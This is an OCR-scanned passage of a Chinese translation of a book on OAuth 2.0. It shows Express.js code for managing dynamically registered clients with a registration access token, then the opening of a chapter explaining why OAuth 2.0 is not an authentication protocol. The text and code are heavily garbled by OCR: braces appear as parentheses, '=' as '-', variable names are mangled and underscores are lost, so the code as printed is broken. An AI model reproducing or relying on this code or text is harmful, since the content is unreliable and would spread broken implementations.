端 , 请 访问 授权 服务 器 的 主页 面 http://localhost:9001/, 该 页 面 会 显示 所 有 已 注册 客户 端的 信息 ( 如 
12-3 所 示 )。 
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OAuth Authorization Server 


Client information: 


* client id: "oauth-client-i" 
* client secret: "oauth-client-secret-1" 
e redirect uris: ("http://localhost:9000/caliback"] 


* scope: "foo bar" 


* token endpoint auth method: "secret basic" 
e grant types: |"authorization code"] 


* reponse types: ["code"] 


* redirect uris: ("http://localhost:9000/callback"] 
+ client name: "OAuth in Action Dynamic Test Client" 
* client uri: "http://localhost:9000/" 


* scope: "foo bar" 


e client id: "vPIbOjWTtOSPSuETQpCSDsBOzpaka7ar" 

* client secret: "yAKLR6PgYmRTRd3JafF9ke04zXouYqOw" 

* client id created at: 1467321718 

* client secret expires at: à 

+ registration access token: "EbQkYteVjqiewdSQyXj qUObbHwSa9xtE" 

* registration client uri: "http://1ocalhost:9001/register/vPIbOjWTtOSPGUETQpCSDsB0zpaka7ar" 


* token endpoint auth method: "secret, basic" 
e grant types: "authorization code"l 


* reponse types: ["code"] 


* redirect uris: ["http://localhost:9000/callback"] 
* client name: "OAuth in Action Dynamic Test Client" 
* client url: "nttp://localhost:9000/" 


* scope: "foo ber" 


* client id: "ioemE275bvBBcOCTEUAeimrSxMIOewxs'" 
e client secret: "objOcolsócYOHBicu9l53ZzCbRzwXu2n" 


* client id created at: 1467321731 

* client, secret expires at: 0 

* registration access token: "6eU215ZWOMAVMZ jouj GBx57wfO5LDev5" 

* registration client uri: "http://localhost:9001/register/iQemE275bv8BCOcTEUAeimrSxMIOewxs" 


Server information: 


* authorization endpoint: http://localhost:9001/authorize 
* token endpoint: http: //localhost:9001/token 


图 12-3 显示 多 个 已 注册 客户 端 信息 的 授权 服务 器 主页 


在 注册 处 理 函数 中 ， 你 会 首先 注意 到 ， 我 们 已 经 将 12.1 市 的 练习 中 检查 客户 端 元 数据 的 代 
码 提炼 为 一 个 功能 函数 。 这样 做 是 为 了 在 多 个 函数 中 重用 相同 的 检查 流程 。 如果 请 求 中 的 元 数据 
通过 所 有 检查 ， 则 函数 返回 元 数据 。 如 果 有 检查 未 通过 ,该 功能 函数 会 在 HTTP 信道 上 发 送 适 当 
的 错误 响应 ， 并 返回 nul1l1， 使 得 调用 函数 立即 返回 ， 不 做 进一步 处 理 。 现 在 ， 在 注册 处 理 函 数 








中 ， 是 这 样 调用 检查 函数 的 。 

















var reg = checkClientMetadata (req); 


if (!reg) ( 
return; 


) 
首先 ， 需 要 补充 从 注册 端点 返 








回 的 客户 端 信息 。 在 生成 客户 端 ID 和 密 钥 之 后 ， 但 是 在 输出 


响应 之 前 , 需要 生成 一 个 注册 访问 令 牌 ,并 将 其 附加 到 客户 端 对 象 上 ， 用 于 后 面 的 检查 。 还 需要 
生成 并 返回 客户 端 配置 端点 URI， 在 服务 右上 是 通过 将 客户 端 TD. 附加 到 注册 端点 URI 后面 来 构 








造 出 该 URI 的 。 
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reg.client id = randomstring.generate(); 
if (  .contains(['client secret basic', 'client secret post']), 
reg.token endpoint auth method) ( 

reg.client secret - randomstring.generate(); 


} 


reg.client id created at = Math.floor(Date.now() / 1000); 
reg.client secret expires at = 0; 





reg.registration access token - randomString.generate(); 
reg.registration client uri = 'http://localhost:9001/register/' + reg.client id; 


clients.push(reg); 


res.status(201).json(reg); 
return; 


现在 ， 被 存储 的 客户 端 信 息 和 返回 的 JSON 对 象 都 包含 访问 令 牌 和 客户 端 注 册 端点 URI。 接 
下 来 , 由 于 需要 在 每 一 次 收 到 管理 API 请 求 时 都 对 注册 访问 令 牌 进行 检查 , 因此 要 将 这 一 部 分 通 
用 的 代码 提炼 为 一 个 过 滤 函 数 。 请 注意 这 个 过 滤 函 数 接受 的 第 3 个 参数 next ， 它 会 在 过 滤 函 数 
运行 成 功 之 后 被 调用 。 


var authorizeConfigurationEndpointRequest = function(req, res, next) ( 























H 


首先 ， 从 传人 的 请 求 URL 中 提取 出 客户 端 ID ， 并 尝试 查找 对 应 的 客户 端 。 如 果 未 找到 ， 则 
返回 错误 并 停止 处 理 。 
var clientId = req.params.clientId; 
var client = getClient(clientId); 
if (!client) ( 
res.status(404).end(); 


return; 


} 

下 一 步 ， 解 析 请 求 中 的 注册 访问 令 牌 。 虽 然 可 以 在 此 使 用 任何 有 效 的 bearer 令 牌 传递 方式 ， 
但 为 了 简单 起 见 ， 我 们 将 令 牌 放 在 Authorization 头 部 中 。 与 处 理 对 受 保护 资源 的 请 求 一 样 ， 
检查 Authorization 头 部 并 查找 bearer 令 牌 。 如 果 未 找到 令 牌 ， 则 返回 错误 信息 。 











var auth = req.headers['authorization']; 


if (auth && auth.toLowerCase().indexOf('bearer') -- 0) ( 在 请 求 中 找到 注册 访 
Var regToken = auth.slice('bearer '.length); 问 令 牌 ， 需 要 对 它 进 
UM 行 处 理 
res.status(401).end(); 
return; 


} 


最 后 ， 如 果 得 到 注册 访问 令 牌 ， 要 确认 该 令 牌 确实 是 颁发 给 当前 的 已 注册 客户 端的 。 如 果 匹 
配 成 功 , 则 可 以 继续 执行 处 理 链 中 的 下 一 个 函数 。 因 为 已 经 查找 出 客户 端 , 所 以 不 需要 再 次 查找 ， 
现在 将 它 附加 到 请 求 对 象 上 。 如 果 令 牌 不 匹配 ， 则 返回 错误 信息 。 
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if (regToken == client.registration access token) ( 
req.client - client; 
next(); 
return; 
j else ( 
res.status(403).end(); 
return; 


} 

现在 ,可 以 开始 载 入 这 个 功能 函数 。 首先, 将 过 滤 函 数 添 加 到 3 个 请 求 处 理 函 数 的 路 由 配置 
里 去 。 这 些 路 由 配置 中 都 有 一 个 特殊 的 :clientIg 路 径 元 素 ，Express.js 框架 会 解析 它 ， 并 通过 
req.params .clientId 变量 传 给 我 们 ， 在 前 面 的 过 滤 函 数 中 就 使 用 过 该 变量 。 














app.get('/register/:clientId', authorizeConfigurationEndpointRequest, 
function(req, res) ( 


jog 


app.put('/register/:clientId', authorizeConfigurationEndpointRequest, 
function(req, res) ( 


Jos 


app.delete('/register/:clientId', authorizeConfigurationEndpointRequest, 
function(reg, res) ( 


Hs 

先 来 实现 读 取 功能 。 由 于 过 滤 函 数 已 经 验证 了 注册 访问 令 牌 并 载 人 了 客户 端 对 象 , 我 们 需要 
做 的 就 是 以 JSON 对 象 的 形式 返回 客户 端 对 象 。 如 果 需 要 ， 可 以 在 返回 客户 端 信息 之 前 更 新 客户 
端 密 钥 和 注册 访问 令 牌 ， 但 这 个 功能 将 当 作 练习 留 给 读者 去 实现 。 











app.get('/register/:clientId', authorizeConfigurationEndpointRequest, 
function(req, res) ( 

res.status(200).json(req.client); 

return; 


F) 
接 下 来 ， 要 处 理 更 新 功能 。 首 先 ， 要 保证 请 求 中 的 客户 端 ID 和 客户 端 密 钥 REET ) 
与 服务 器 上 存储 的 客户 端 信息 是 一 致 的 。 


if (req.body.client id != req.client.client id) ( 
res.status(400).json((error: 'invalid client metadata'])); 
return; 


} 


if (req.body.client secret && req.body.client secret !- 
reg.client.client secret) ( 
res.status(400).json((error: 'invalid client metadata')); 


} 
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然后 还 需要 验证 传人 的 其 他 客户 端 元 数据 。 这 里 使 用 了 与 注册 步 又 中 相同 的 客户 端 元 数据 验 
证 函数 。 该 函数 会 过 滤 掉 输入 中 所 有 不 应 该 出 现 的 字段 ， 比 如 registration client uri 和 
registration access, tokens; 

var reg = checkClientMetadata(req, res); 

if (!reg) ( 


return; 


) 

最 后 ,将 请 求 对 象 中 的 值 全 部 复制 到 我 们 保存 的 客户 端 对 象 中 , 并 将 它 返回 。 由 于 使 用 的 是 
内 存 存储 机 制 ， 因 此 不 需要 将 客户 端 对 象 存 回 到 数据 存储 中 , 但 是 对 于 使 用 数据 库 的 系统 ,可 能 
需要 这 样 做 。reg 中 的 值 都 是 内 部 一 致 的 ,它们 会 直接 替换 client 中 的 所 有 内 容 ， 如 果 有 省 略 
的 值 ， 则 客户 端 对 象 中 的 对 应 值 将 被 抹 除 。 


. .each(reg, function(value, key, list) ( 
req.client[key] = reg[key]:; 
1); 


复制 完成 之 后 ， 就 可 以 返回 客户 端 对 象 ， 方 法 与 读 取 功 能 中 所 用 的 方法 一 样 。 


res.status(200).json(req.client); 
return; 


在 删除 功能 中 ,必须 在 数据 存储 中 删除 客户 端 对 象 。 我 们 会 借助 Underscore.js 库 中 的 几 个 函 

clients = _ .reject(clients, | .matches((client id: req.client.client id})); 

为 尽 到 授权 服务 器 的 职责 ， 还 应 该 立即 删除 在 返回 响应 之 前 为 该 客户 端 颁 发 的 所 有 有 效 令 
牌 ， 包 括 访问 令 牌 以 及 刷新 令 牌 。 



























































nosqgl.remove(function(token) { 
if (token.client id -- req.client.client id) ( 
return true; 
} 
j, function(err, count) ( 
console.log("Removed $s clients", count); 


Js 


res.status(204).end(); 
return; 


通过 增加 这 几 个 小 功能 , 授权 服务 器 现在 已 实现 了 完整 的 动态 客户 端 注册 管理 协议 ,， 让 动态 
客户 端 具备 了 管理 自身 全 生命 周期 的 能 

现在 ， 要 来 修改 客户 端 ， 让 它 可 以 调用 这 几 个 功能 ， 所 以 请 编辑 clientjs 文件 。 加 载 客 户 端 
并 获取 令 牌 ,客户 端的 主页 面 上 会 多 出 儿 个 控件 ( 如 图 12-4 所 示 )。 
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Access token value: 

Scope value: 

Refresh token value: 

ontD 

Client Secret: 

Registration access token: 

Client configuration management endpoint: 


Get OAuth Token Get Protected Resource 


Read Client Information 
New Client Name OAuth in Action Dynamk ^ Update Client Registration 


Unregister Client 














图 12-4 客户 端 主页 面 ， 显 示 动 态 注册 的 客户 端 ID 以 及 用 于 管理 注册 的 控件 


现在 来 为 这 些 闪 亮 的 新 按钮 创建 功能 。 首 先 ， 要 读 取 客 户 端 数据 ， 需 要 向 客户 端的 配置 管理 
端点 发 出 一 个 简单 的 GET 请 求 ， 并 使 用 注册 访问 令 牌 进行 身份 认证 。 我 们 会 将 请 求 返回 的 结果 
保存 为 新 的 客户 端 对 象 , 确保 信息 得 到 更 新 , 并 使 用 受 保护 资源 的 视图 模板 来 显示 从 服务 器 返回 
的 原始 内 容 。 















































app.get('/read client', function(req, res) ( 


var headers - ( 
'Accept': 'application/json', 
'Authorization': 'Bearer ' + client.registration access token 


js 


var regRes - request('GET', client.registration client uri, ( 
headers: headers 
2); 


if (regRes.statusCode == 200) { 
client - JSON.parse(regRes.getBody()); 
res.render('data', (resource: clien)); 
return; 

) else ( 
res.render('error', (error: 'Unable to read client ' + 
regRes.statusCode)); 

return; 


j 
)); 


接 下 来 , 要 处 理 用 于 更 新 客户 端 显 示 名 称 的 表单 请 求 。 我 们 需要 克隆 出 一 个 客户 端 对 象 , 并 
删 掉 其 中 在 前 面 提 到 过 的 多 余 字 段 ,然后 蔡 换 名 称 字段 。 将 这 个 新 的 对 象 连同 注册 访问 令 牌 一 起 
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通过 HTTP PUT 请 求 发 送 至 客户 端 注册 端点 。 如 果 得 到 服务 器 的 正确 响应 , 需要 将 响应 结果 保存 
为 新 的 客户 端 对 象 ， 并 回 到 index 页 面 。 


app.post('/update client', function(req, res) ( 


var headers - ( 
'Content-Type': 'application/json', 
'Accept': 'application/json', 
'Authorization': 'Bearer ' + client.registration access token 


un 


var reg = X .clone(client); 

delete reg['client id issued at']; 
delete reg['client secret expires at']; 
delete reg['registration client uri']; 
delete reg 


'registration access token']; 





[ 
[ 
[ 
[ 


reg.client name - req.body.client name; 


var regRes - request('PUT', client.registration client uri, ( 
body: JSON.stringify(reg), 
headers: headers 

2); 


if (regRes.statusCode -- 200) ( 

client = JSON.parse(regRes.getBody()); 

res.render('index', (access token: access token, refresh token: 
refresh token, scope: scope, client: client)); 


return; 
} else ( 
res.render('error', (error: 'Unable to update client ' + 
regRes.statusCode)); 
return; 


) 
)); 
最 后 ， 来 处 理 客 户 端 删 除 功 能 。 它 需要 向 客户 端 配置 端点 发 送 一 个 简单 的 DELETE 请 求 ， 
同样 也 要 附带 注册 访问 令 牌 。 无 论 得 到 什么 响应 结果 ,都 会 将 客户 端 信息 丢弃 ， 因 为 从 我 们 ( 客 
PUn) 的 角度 来 看 ， 无 论 服 务 需 是 否 能 成 功 注 销 客户 端 ， 我 们 已 经 尽 了 最 大 努力 。 


























app.get('/unregister client', function(req, res) ( 


var headers - ( 
'Authorization': 'Bearer ' + client.registration access token 


Jo 


var regRes = request('DELETE', client.registration client uri, { 
headers: headers 
3); 
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if (regRes.statusCode -- 204) ( 
res.render('index', (access token: access token, refresh token: 
refresh token, scope: scope, client: client)); 
return; 
) else { 
res.render('error', (error: 'Unable to delete client ' + regRes. 
statusCode)); 
return; 


j 
)); 

有 了 这 些 ， 就 得 到 了 一 个 具备 完整 管理 功能 、 动 态 注 册 的 OAuth 客户 端 。 还 有 更 高 级 的 客 

户 端 管理 ， 包 括 编辑 其 他 字段 、 轮 换 客户 端 密 钥 和 注册 访问 令 牌 ， 这 些 都 作为 练习 留 给 读者 去 
实现 。 




















12.5 小结 





动态 客户 端 注册 是 OAuth 生态 系统 中 非常 优秀 的 扩展 。 

口 客户 端 可 以 动态 地 自行 向 授权 服务 器 注册 ， 不 过 仍然 需要 在 得 到 资源 拥有 者 的 授权 之 后 
才能 访问 受 保 护 资源 。 

Q 客户 端 ID 和 客户 端 密 钥 最 好 由 授权 服务 器 颁发 ， 因 为 最 终 接受 它们 的 也 是 授权 服务 器 。 
O 客户 端 元 数据 描述 了 关于 客户 端的 众多 属性 ,它们 可 以 被 包含 在 经 过 签名 的 软件 声明 中 。 
口 动态 客户 端 注册 协议 定义 了 一 组 RESTful API, 支持 对 动态 注册 的 客户 端 进行 全 生命 周期 
的 管理 操作 。 
现在 你 已 经 了 解 了 如 何以 动态 的 方式 问 授 权 服 务 器 注册 客户 端 ， 接 下 来 要 介绍 一 个 常规 的 
OAuth 应 用 : 最 终 用 户 身 份 认 证 。 
































将 OAuth 2.0 叶 于 用 启 身 份 
认证 








本 章 内 容 

OQ 为 什么 OAuth 2.0 不 是 身份 认证 协议 

口 使 用 OAuth 2.0 构建 身份 认证 协议 

口 识别 并 避免 将 OAuth 2.0 用 于 身份 认证 时 的 常见 错误 
口 在 OAuth 2.0 之 上 实现 OpenID Connect 











OAuth 2.0 规范 定义 了 一 个 授权 协议 ， 用 于 在 Web 应 用 以 及 API 之 间 传 递 授权 决策 。 因 为 
OAuth 2.0 用 于 获取 已 通过 身份 认证 的 最 终 用 户 的 许可 ， 所 以 很 多 开发 人 员 和 API 服务 商 认 为 
OAuth 2.0 是 一 种 让 用 户 安全 登录 的 身份 认证 协议 。 然 而 , 尽管 OAuth 2.0 是 一 个 需要 用 户 交 互 的 
安全 协议 ， 但 并 不 是 身份 认证 协议 。 我 们 明确 地 重申 一 饥 :; 

OAuth 2.0 不 是 身份 认证 协议 。 

之 所 以 会 产生 如 此 多 的 误解 ， 是 因为 OAuth 2.0 经 常 被 用 于 身份 认证 协议 内 部 ， 而 且 常 规 的 
OAuth 2.0 流程 内 部 也 会 包含 一 些 身份 认证 事件 ,所 以 ,很 多 开发 人 员 看 到 这 样 的 OAuth 2.0 流程 ， 
以 为 使 用 OAuth 就 是 执行 身份 认证 。 这 种 想法 不 仅 是 错误 的 ， 而 且 会 给 服务 提供 商 、 开 发 人 员 
和 最 终 用 户 带 来 危险 。 


13.1 为 什么 OAuth 2.0 不 是 身份 认证 协议 


首先 ,我 们 需要 和 并 清楚 一 个 根本 问题 : 什么 是 身份 认证 ?在 当前 语 境 下 ,身份 认证 会 告诉 应 
用 ， 当 前 的 用 户 是 谁 以 及 是 否 正在 使 用 此 应 用 。 它 属于 安全 架构 的 一 部 分 , 通常 通过 让 用 户 提供 
一 些 凭 据 (如 用 户 名 和 密码 ) 给 客户 端 , 来 证 明 用 户 的 身份 是 真实 的 。 实 际 的 身份 认证 协议 可 能 
还 会 告诉 你 一 些 其 他 的 用 户 身 份 属性 ， 比 如 唯一 标识 符 、 邮 箱 地 址 以 及 应 用 向 用 户 打 招呼 时 使 用 
的 名 字 。 

RT, OAuth 2.0 并 不 能 告诉 应 用 这 些 信息 。OAuth 2.0 本 身 不 提供 关于 用 户 的 任何 信息 ， 也 
不 关心 用 户 如 何 证 明 身 份 ， 其 至 不 关心 用 户 是 否 存 在 。 对 于 OAuth 2.0 客户 端 而 言 ， 它 只 是 请 求 
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令 牌 、 获 取 令 牌 、 最 终 使 用 该 令 牌 访问 某 API。 至 于 是 谁 对 应 用 授权 ， 或 者 是 否 有 用 户 存 在 ， 它 
都 一 无 所 知 。 实 际 上 ， 在 大 多 数 OAuth 2.0 的 使 用 案例 中 ， 获 取 访 问 令 牌 就 是 用 于 以 后 当 用 户 无 
法 在 场 时 对 应 用 进行 授权 。 回 想 一 下 照片 打印 的 例子 , 虽然 用 户 登 录 了 打印 服务 和 存储 服务 , 但 
完全 不 直接 参与 打印 服务 与 存储 服务 之 间 的 连接 。 取 而 代 之 的 是 ，OAuth 2.0 访问 令 牌 让 打印 服 
务 代表 用 户 执行 任务 。 此 范例 的 精华 在 于 客户 端 授权 , 它 与 身份 认证 是 对 立 的 ,身份 认 证 所 关心 
的 是 用 户 是 否 存 在 以 及 用 户 的 身份 。 


身份 认证 与 授权 : 巧妙 的 比喻 


为 了 更 好 地 理解 身份 认证 与 授权 之 间 的 不 同 ， 可 以 借助 这 个 巧妙 的 比喻 : 软 糖 和 巧克力 。” 
虽然 表面 看 起 来 有 一 些 相 似 之 处 , 但 这 两 者 在 本 质 上 有 着 明显 的 不 同 : 巧克力 是 一 种 原料 ， 而 软 
糖 是 糖果 。 你 可 以 制作 巧克力 软 糖 ， 我 认为 它 真 的 很 美味 。 这 种 糖果 的 巧克力 特性 非常 明显 。 因 
此 , 它 容易 让 人 以 为 巧克力 和 软 糖 是 同一 种 东西 ， 这 是 完全 错误 的 。 让 我 们 稍微 展开 一 下 ,来 看 
看 它们 与 OAuth 2.0 究竟 有 什么 关系 。 

巧克力 可 以 用 来 制作 各 种 食物 ， 但 它 始 终 都 是 用 可 可 豆 做 成 的 。 它 是 一 种 用 途 广泛 的 原料 ， 
可 以 将 它 独 特 的 风味 添加 到 蛋糕 、 冰 淇 淋 、 糕 点 馅 料 、 墨 西 哥 巧 克 力 桨 等 各 种 食物 中 。 你 甚至 可 
以 享用 纯 巧 克 力 而 不 加 其 他 成 分 , 即便 它 的 形式 如 此 多 样 。 还 有 另外 一 种 使 用 巧克力 制作 的 食物 
很 受 欢 迎 ， 就 是 巧克力 软 糖 。 这 种 软 糖 的 爱好 者 很 清楚 ， 它 的 主要 成 分 是 巧克力 。 

在 这 个 比喻 中 ，OAuth 2.0 就 是 巧克力 。 在 当今 大 量 不 同 的 Web 安全 体系 结构 中 ， 它 是 一 个 
通用 的 基础 组 件 。OAnuth 2.0 的 授权 模型 是 与 众 不 同 的 ,其 中 的 角色 和 参与 者 总 是 不 变 的 OAuth 
2.0 可 用 于 保护 RESTful API 和 Web 资源 ; 它 可 用 于 Web 服务 器 上 的 客户 端 和 原生 应 用 ; 它 可 以 
被 最 终 用 户 用 来 委托 有 限 的 权限 ， 以 及 被 可 信 应 用 用 来 传输 后 端 信 道 数 据 ; OAuth 2.0 甚至 可 用 
于 构建 身份 和 身份 认证 API， 它 是 这 些 应 用 中 的 关键 支持 技术 。 

相反 ， 软 糖 是 一 种 糖果 ,可 以 由 不 同 的 原料 制 成 ， 而 且 都 有 它们 各 自 的 味道 : MEE R 
T. MEETS. ”尽管 味道 不 同 ， 但 软 糖 总 是 具有 它 特 有 的 形式 和 质地 ， 让 它 能 够 被 称 为 软 
糖 , 而 不 是 其 他 什么 诸如 奶油 冻 和 奶油 夹心 的 调味 糖果 。 巧 克 力 软 糖 是 一 种 很 受 欢 迎 的 软 糖 风味 。 
虽然 巧克力 是 这 种 糖果 的 主要 原料 , 但 其 中 也 加 入 了 其 他 的 原料 , 并 且 需 要 几 种 关键 的 工艺 才能 
使 巧克力 变 成 巧克力 软 糖 。 最 终 的 产物 具有 巧克力 的 味道 , 但 形式 是 软 糖 ， 能 用 巧克力 做 出 软 糖 
并 不 意味 着 巧克力 等 同 于 软 糖 。 

在 我 们 的 比喻 中 , 身份 认证 更 像 软 糖 。 需要 将 几 个 关键 的 组 件 和 过 程 以 正确 的 方式 组 合 在 一 
起 , 才能 保证 它 安全 地 正常 运行 , 而 其 中 这 些 组 件 和 过 程 的 可 选择 范围 很 广 。 可 以 要 求 用 户 通 过 
某 种 方式 来 证 明 他 能 够 登录 男 一 台 远 程 服务 器 ， 比 如 ， 携 带 某 种 设备 、 记 忆 一 个 密码 、 提 供 某 种 
生物 特征 样本 等 。 要 完成 工作 , 这些 系统 可 以 使 用 公 钥 基础 设施 ( PKT) 和 证 书 、 联 合 信 任 框架 、 
浏览 器 cookie， 甚 至 专 有 的 硬件 和 软件 。OAuth 2.0 可 以 是 这 些 技 术 组 件 的 其 中 之 一 ,但 并 不 是 

















































































































































































































































































































Qa 非常 感谢 Vittorio Bertocci 在 博客 文章 OAuth 2.0 and Sign-In 中 给 出 的 巧妙 比喻 。 
@) 没有 开玩笑 ， 土 豆 软 糖 真 的 出 乎 意料 地 好 吃 。 
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缺 它 不 可 。 如 果 不 结 合 其 他 技术 ， 仅 OAuth 2.0 是 不 足以 实现 用 户 身 份 认 证 的 。 

就 像 制作 巧克力 软 糖 需要 配方 一 样 ， 基 于 OAuth 的 身份 认证 协议 也 有 它 自己 的 制定 方法 。 
有 很 多 厂商 都 制定 了 各 自 专 用 的 标准 ， 比 如 Facebook, Twitter, LinkedIn 和 GitHub, 不 过 也 有 像 
OpenID Connect 这 样 的 开放 标准 ， 可 以 在 不 同 厂 商 之 间 通 用 。 这 些 协议 都 以 OAuth 为 共同 的 基 
础 ， 然 后 再 加 入 各 自 的 附加 组 件 来 实现 身份 认证 功能 ， 只 是 在 方式 上 有 些 细 微 差别 。 


13.2 OAuth 到 身份 认证 协议 的 映射 


那么 ,我 们 要 如 何 基于 OAuth 构建 一 个 身份 认证 协议 呢 ? 首先 ， 需 要 将 OAuth 2.0 中 的 各 方 
恰当 地 映射 到 身份 认证 事务 的 各 方 。 在 OAuth 2.0 事务 中 ， 资 源 拥 有 者 向 客户 端 授权 ， 让 它 从 授 
权 服 务 器 得 到 访问 令 牌 ,客户 端 使 用 该 访问 令 牌 可 以 访问 受 保 护 资源 。 在 身份 认证 事务 中 ， 最 终 
用 户 使 用 身份 提供 方 (identity provider，IdP ) 登录 依赖 方 (relying party, RP )。 基 于 这 一 点 , 在 
设计 这 样 的 身份 认证 协议 时 一 般 会 试图 将 依赖 方 映射 到 受 保护 资源 ( 如 图 13-1 所 示 )。 毕 竞 ， 身 
份 认证 协议 所 要 保护 的 组 件 不 就 是 依赖 方 吗 ? 
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图 13-1 ”尝试 使 用 OAuth 构建 身份 认证 协议 , 但 并 不 可 行 


虽然 用 这 种 方式 在 OAuth 2.0 之 上 构建 身份 认证 协议 看 似 合理 ,但 我 们 从 图 13-1 中 可 以 看 到 ， 
安全 边界 并 不 一 致 。 在 OAuth 2.0 中 ， 客 户 端 和 资源 拥有 者 是 站 在 一 起 的 一 一 客户 端 代表 资源 拥 
有 者 执行 操作 。 而 授权 服务 器 和 受 保 护 资源 是 站 在 一 起 的 ， 因 为 授权 服务 器 生成 令 牌 ， 受 保护 资 
源 接 受 令 牌 。 换 句 话 说， 就 是 用 户 、 客 户 端 与 授权 服务 顺 、 受 保护 资源 之 间 存 在 一 个 安全 和 信任 
的 边界 ， 而 OAuth 2.0 就 是 用 来 跨越 这 个 边界 的 协议 。 当 我 们 尝试 进行 概念 映射 时 ， 这 个 边界 出 
现在 了 IdP 与 受 保护 资源 之 间 , 如 图 13-1 所 示 。 这 强行 造成 了 不 正常 的 安全 边界 跨越 , 让 受 保护 
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资源 与 用 户 发 生 了 直接 交互 。 然 而 ， 在 OAuth 2.0 中 ,资源 拥有 者 一 般 是 不 会 与 受 保护 资源 交互 
的 : 受 保护 资源 本 来 是 一 个 供 客户 端 调用 的 API。 请 回忆 一 下 前 面 章节 中 的 代码 练习 ， 受 保护 资 
源 甚 至 都 没有 用 于 交互 的 用 户 界面 。 而 与 用 户 交 互 的 客户 端 ， 并 没有 出 现在 新 的 映射 中 。 

看 来 以 上 设想 行 不 通 ， 需 要 男 想 他 法 ， 确 保 遵 循 安全 边界 。 我 们 来 试 一 下 将 OAuth 2.0 中 的 
客户 端 作为 RP， 因 为 它 通常 是 与 最 终 用 户 ( 也 就 是 资源 拥有 者 ) 进行 交互 的 组 件 。 还 要 将 授权 
服务 器 和 受 保护 资源 合并 为 单一 组 件 ， 也 就 是 I4P。 我 们 要 让 资源 拥有 者 将 访问 权限 授权 给 客户 
端 ， 只 是 他 们 授权 访问 的 资源 是 他 们 自己 的 身份 信息 。 也 就 是 说 ， 他 们 授权 RP 来 查 明 当 前 使 用 
者 的 身份 ， 这 当然 就 是 我 们 正在 试图 构建 的 身份 认证 事务 的 本 质 ( 如 图 13-2 所 示 )。 
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图 13-2 更 为 合理 地 使 用 OAuth 构建 身份 认证 协议 的 方案 


虽然 将 身份 认证 构建 在 授权 的 基础 上 看 起 来 有 些 反 直 觉 ， 但 是 我 们 可 以 看 到 OAuth 2.0 的 安 
全 授权 模型 的 确 是 用 于 连接 系统 的 一 种 有 力 手 段 。 此 外 ， 请 注意 ， 我 们 可 以 清晰 地 将 OAuth 2.0 
系统 的 各 个 部 分 映射 到 授权 协议 中 相应 的 组 件 。 如 果 对 OAuth 2.0 进行 扩展 ， 使 得 授权 服务 器 和 
受 保护 资源 发 出 的 信息 能 够 传达 与 用 户 以 及 他 们 的 身份 认证 上 下 文 有 关 的 信息 , 我 们 就 可 以 为 客 
户 端 提供 用 于 用 户 安全 登录 的 所 有 信息 。 

现在 ,我 们 已 经 用 熟悉 的 OAuth 2.0 组 件 设计 出 了 一 个 身份 认证 协议 。 因 为 进入 了 一 个 新 的 
协议 语 境 ， 所 以 对 各 组 件 有 不 同 的 称呼 。 客 户 端 现在 叫 作 依赖 方 ， 或 者 叫 作 RP， 这 两 个 术语 在 
此 协议 中 可 以 互 换 使 用 。 从 概念 上 将 授权 服务 顺和 受 保护 资源 合并 为 身份 提供 方 , 或 者 叫 作 IdP。 
虽然 颁发 令 牌 和 提供 身份 信息 这 两 个 功能 在 服务 层面 上 可 以 由 不 同 的 服务 顺 提 供 ， 但 是 在 RP 看 
来 ， 它 们 是 一 个 功能 整体 。 还 要 在 访问 令 牌 的 基础 上 增加 一 个 新 的 ID 令 牌 ， 用 于 携带 有 关 身 份 
认证 事件 本 身 的 信息 ( 如 图 13-3 所 示 )。 


















































13.3 OAuth 2.0 是 如 何 使 用 身份 认证 的 207 





最 终 用 户 的 凭据 ， 对 依赖 方 的 授权 





ex 







ID 令 牌 与 
访问 令 牌 





访问 令 牌 与 用 户 信息 





依赖 方 (NUM) 身份 信息 API 





图 13-3 ”基于 OAuth 的 认证 与 身份 协议 的 各 个 组 件 


现在 ，RP 可 以 得 知 用 户 的 身份 以 及 他 们 是 如 何 登录 的 ， 但 为 什么 要 在 此 使 用 两 个 令 牌 呢 ? 
我 们 可 以 直接 将 用 户 信息 包含 在 授权 服务 顺 颁 发 的 令 牌 中 ， 或 者 也 可 以 提供 一 个 用 户 信 息 API 
作为 受 保护 资源 以 供 调 用 。 答 案 是 ， 这 两 种 方法 都 有 价值 ， 而 且 我 们 会 在 13.5 节 中 看 到 OpenID 
Connect 协议 的 实现 方式 。 为 了 实现 功能 ， 我 们 同时 使 用 了 两 个 令 牌 ， 接 下 来 会 做 详细 的 解释 。 


13.3 OAuth 2.0 是 如 何 使 用 身份 认证 的 


上 一 节 讨 论 了 如 何在 授权 协议 之 上 构建 身份 认证 协议 。 然 而 ,OAuth 事务 中 的 授权 流程 也 有 
几 个 地 方 需要 使 用 身份 认证 : 资源 拥有 者 要 在 授权 服务 器 的 授权 端点 上 进行 身份 认证 ,客户 端 要 
在 授权 服务 器 的 令 牌 端 点 进行 身份 认证 ， 也 可 能 还 有 其 他 环节 需要 进行 身份 认证 ， 视 方案 而 定 。 
我 们 现在 是 要 在 授权 协议 之 上 构建 身份 认证 协议 ， 而 授权 协议 本 身 又 依赖 身份 认证 ,这 是 不 是 有 
点 复杂 ? 

这 似乎 很 奇怪 , 不 过 请 注意 , 这 种 方案 中 的 一 个 事实 是 , 用 户 在 授权 服务 器 上 执行 身份 认证 ， 
最 终 用 户 的 原始 凭据 不 会 通过 OAuth 2.0 协议 传送 到 客户 端 应 用 CRP )。 通 过 限制 各 方 所 需 的 信 
息 ， 提 高 了 安全 性 并 减少 了 出 现 故障 的 可 能 ， 而 且 还 可 以 跨越 安全 域 。 用 户 直接 向 单一 方 进行 吴 
份 认证 ， 客 户 端 也 是 一 样 ， 不 需要 扮演 其 他 角色 。 

这 种 基于 授权 而 构建 身份 认证 的 方式 有 另外 一 个 主要 优点 : 允许 最 终 用 户 在 运行 时 执行 同意 
决策 。 通 过 人 允许 最 终 用 户 决定 向 哪些 应 用 发 放 他 们 的 身份 信息 ， 基 于 OAuth 2.0 的 身份 协议 可 以 
在 整个 互联 网 上 跨 安全 域 运 行 。 不 需要 由 机 构 提 前 决定 是 否 允 许 它 的 所 有 用 户 在 其 他 系统 上 登 
录 ， 而 由 每 个 用 户 自行 决定 登录 哪个 系统 。 这 种 做 法 是 符合 第 2 章 提 到 的 OAuth 2.0 首次 使 用 时 
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信任 (TOFU ) 模型 的 。 

此 外 , 用 户 还 可 以 将 其 他 受 保 护 API 与 他 的 身份 信息 的 访问 权限 一 起 授权 出 去 。 通 过 一 个 调 
用 ,应 用 就 可 以 知道 用 户 是 否 已 登录 ， 如何 称 呼 用户 ， 下 载 要 打印 的 照片 ， 以 及 向 用 户 的 消息 流 
